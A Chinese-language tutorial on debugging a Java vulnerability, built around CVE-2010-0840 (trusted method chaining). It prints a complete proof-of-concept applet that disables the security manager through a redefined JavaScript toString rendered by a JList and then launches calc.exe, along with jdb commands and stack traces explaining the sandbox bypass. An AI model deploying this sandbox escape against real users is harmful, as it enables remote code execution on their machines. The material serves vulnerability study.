java调试漏洞_java 漏洞调试科普

Java 漏洞调试科普

Cve2010-0840

author : instruder

介绍

以cve2010-0840的Java Runtime Environment Trusted Methods Chaining Remote CodeExecution Vulnerability漏洞为例，介绍下如何调试java漏洞。

这个漏洞影响的java版本

Jre 6u18

Jdk 6u18

上面的url里面可以下到对于的java程序版本，不过要注册下才行。

Poc

importjava.applet.Applet;

importjavax.script.Bindings;

importjavax.script.ScriptEngine;

importjavax.script.ScriptEngineManager;

importjavax.script.ScriptException;

importjavax.swing.JList;

publicclasscve2010_0840_meta extends Applet

{

public void init()

{

try

{

ScriptEngine localScriptEngine = new ScriptEngineManager().getEngineByName("js");

Bindings localBindings = localScriptEngine.createBindings();

localBindings.put("applet", this);

Object localObject = localScriptEngine.eval("this.toString = function(){\tjava.lang.System.setSecurityManager(null);\tapplet.callBack();\treturnString.fromCharCode(97 + Math.round(Math.random() * 25));};e = newError();e.message = this;e", localBindings);

JListlocalJList = new JList(new Object[] { localObject });

add(localJList);

}

catch (ScriptExceptionlocalScriptException) {

localScriptException.printStackTrace();

}

}

public void callBack() {

try {

Runtime.getRuntime().exec("calc.exe");

}

catch (ExceptionlocalException)

{

}

}

}

Debug 准备

将上述poc保存成cve2010_0840_meta.java

使用 javac.exe 进行编译，通过加入-g选项，可以在调试的过程中加入各种调试信息

上述命令会生成一个.class文件

然后通过在html里面写入

既可以通过这个html调用这个java。

调试

调试applet可以通过applentviewer进行调试，jdk自带的bin目录下面

这个applerviewer是模拟浏览器环境，不同于直接调试java程序，在浏览器环境中的安全级别是设置过的，特权操作不允许执行，可以模拟真实的漏洞触发环境。

具体的调试命令，可以看appletviewer的help命令

常见的debug命令

stop in .[(参数类型,...)]

-- 在方法中设置断点

stop at : -- 在行中设置断点

where [ | all] -- 转储线程的堆栈

wherei [ | all] -- 转储线程的堆栈以及 pc 信息

run [类 [参数]] -- 开始执行应用程序的主类

step -- 执行当前行

step up -- 执行到当前方法返回其调用方

stepi -- 执行当前指令

next -- 跳过一行(跨过调用)

cont -- 从断点处继续执行

clear .[(参数类型,...)]

-- 清除方法中的断点

clear : -- 清除行中的断点

clear -- 列出断点

!! -- 重复执行最后一个命令

-- 将命令重复执行 n 次

# -- 放弃(不执行)

help(或 ?) -- 列出命令

version -- 输出版本信息

exit(或 quit) -- 退出调试器

use(或 sourcepath)[源文件路径] (设置(jdk/src.zip)源代码路径，可以通过list显示源码)

debug

这个漏洞是java的信任代码调用链验证出的问题，jvm在运行时，会对当前的操作进行检查，通过遍历堆栈，看是否有不信任的代码存在，有的话则不允许特权的操作。但是，java有个特点，假如一个父类foo定义了一个call方法，这个foo类有个子类bar，当在堆栈中有这个bar类的实例，并且调用了这个call方法，jvm会对foo这个父类进行检查，而不是这个bar类。Java中有很多java核心信任类的对象调用方法可以通过子类或者反序列化被不信任的代码直接定义。

这个漏洞应该是通过重新定义了this.toSting 函数，并且通过applet的ui线程调度JList容器来执行这个toSting函数，当执行到这个sting函数里面的setSecurityManager特权操作时，此时整个堆栈都是可信任的代码，因此绕过了jvm的sanbox安全检查。

C:\ProgramFiles\Java\jdk1.6.0_18\bin>appletviewer.exe -debug "C:\Program Files\

Java\1.html"

正在初始化 jdb...

> stop injava.lang.System.setSecurityManager

正在延迟断点 java.lang.System.setSecurityManager。

将在装入类之后对其进行设置。

> use C:\Program Files\Java\1

> run

运行 sun.applet.Main "C:\Program Files\Java\1.html"

设置未捕捉到 java.lang.Throwable

设置延迟的断点 java.lang.System.setSecurityManager

设置延迟的未捕捉到 java.lang.Throwable

>

VM 已启动：

断点命中： "thread=main", java.lang.System.setSecurityManager(),line=259 bci=0

259               s.checkPackageAccess("java.lang");

main[1] where

[1]java.lang.System.setSecurityManager (System.java：259)

[2]sun.applet.Main.init (Main.java：366)

[3]sun.applet.Main.run (Main.java：130)

[4]sun.applet.Main.main (Main.java：80)

main[1] list

255        */

256       public static

257       void setSecurityManager(final SecurityManager s) {

258            try {

259 =>            s.checkPackageAccess("java.lang");

260            } catch (Exception e) {

261                // no-op

262            }

263            setSecurityManager0(s);

264       }

main[1] cont

>

断点命中： "thread=AWT-EventQueue-1",java.lang.System.setSecurityManager(), lin

e=259 bci=0

259               s.checkPackageAccess("java.lang");

AWT-EventQueue-1[1] where

[1]java.lang.System.setSecurityManager (System.java：259)

[2]sun.reflect.NativeMethodAccessorImpl.invoke0 (本机方法)

[3]sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java

：39)

[4]sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorI

mpl.java：25)

[5]java.lang.reflect.Method.invoke (Method.java：597)

[6]sun.reflect.misc.Trampoline.invoke (MethodUtil.java：37)

[7]sun.reflect.NativeMethodAccessorImpl.invoke0 (本机方法)

[8]sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java

：39)

[9]sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorI

mpl.java：25)

[10] java.lang.reflect.Method.invoke (Method.java：597)

[11] sun.reflect.misc.MethodUtil.invoke (MethodUtil.java：244)

[12] sun.org.mozilla.javascript.internal.MemberBox.invoke (MemberBox.java：132

)

[13] sun.org.mozilla.javascript.internal.NativeJavaMethod.call (NativeJavaMeth

od.java：190)

[14] sun.org.mozilla.javascript.internal.Interpreter.interpretLoop (Interprete

r.java：3,073)

[15] sun.org.mozilla.javascript.internal.Interpreter.interpret (Interpreter.ja

va：2,239)

[16] sun.org.mozilla.javascript.internal.InterpretedFunction.call (Interpreted

Function.java：138)

[17] sun.org.mozilla.javascript.internal.ContextFactory.doTopCall (ContextFact

ory.java：323)

[18] sun.org.mozilla.javascript.internal.ScriptRuntime.doTopCall (ScriptRuntim

e.java：2,747)

[19] sun.org.mozilla.javascript.internal.InterpretedFunction.call (Interpreted

Function.java：136)

[20] com.sun.script.javascript.ExternalScriptable.getDefaultValue (ExternalScr

iptable.java：343)

[21]sun.org.mozilla.javascript.internal.ScriptRuntime.toString (ScriptRuntime

.java：664)

[22] sun.org.mozilla.javascript.internal.NativeError.getString (NativeError.ja

va：170)

[23] sun.org.mozilla.javascript.internal.NativeError.js_toString (NativeError.

java：120)

[24] sun.org.mozilla.javascript.internal.NativeError.toString (NativeError.jav

a：82)

[25] javax.swing.DefaultListCellRenderer.getListCellRendererComponent (Default

ListCellRenderer.java：134)

[26] javax.swing.plaf.basic.BasicListUI.updateLayoutState (BasicListUI.java：1

,344)

[27] javax.swing.plaf.basic.BasicListUI.maybeUpdateLayoutState (BasicListUI.ja

va：1,294)

[28] javax.swing.plaf.basic.BasicListUI.getPreferredSize (BasicListUI.java：561)

[29] javax.swing.JComponent.getPreferredSize (JComponent.java：1,634)

[30] java.awt.FlowLayout.layoutContainer (FlowLayout.java：594)

[31] java.awt.Container.layout (Container.java：1,421)

[32] java.awt.Container.doLayout (Container.java：1,410)

[33] java.awt.Container.validateTree (Container.java：1,507)

[34] java.awt.Container.validateTree (Container.java：1,513)

[35] java.awt.Container.validate (Container.java：1,480)

[36] sun.applet.AppletPanel$2.run (AppletPanel.java：444)

[37] java.awt.event.InvocationEvent.dispatch (InvocationEvent.java：199)

[38] java.awt.EventQueue.dispatchEvent (EventQueue.java：597)

[39] java.awt.EventDispatchThread.pumpOneEventForFilters (EventDispatchThread.

java：269)

[40] java.awt.EventDispatchThread.pumpEventsForFilter (EventDispatchThread.jav

a：184)

[41] java.awt.EventDispatchThread.pumpEventsForHierarchy (EventDispatchThread.

java：174)

[42] java.awt.EventDispatchThread.pumpEvents (EventDispatchThread.java：169)

[43] java.awt.EventDispatchThread.pumpEvents (EventDispatchThread.java：161)

[44] java.awt.EventDispatchThread.run (EventDispatchThread.java：122)

AWT-EventQueue-1[1]

此时执行了this.toString函数的，此时通过列出堆栈，所有的item都是信任代码，都是属于java自身的核心代码，从而通过jvm的sanbox安全检查，关闭掉SecurityManager后，就可以为所欲为了：)

Ps:java的安全性才开始学习，很多不明白的地方望指教：)

额，明明javac.exe编译时加了-g选项，但是debug时，print 和locals都显示不出局部变量，球解释。

Ref

简单谈谈Java Exploit

Java Trusted Method Chaining(CVE-2010-0840/ZDI-10-056)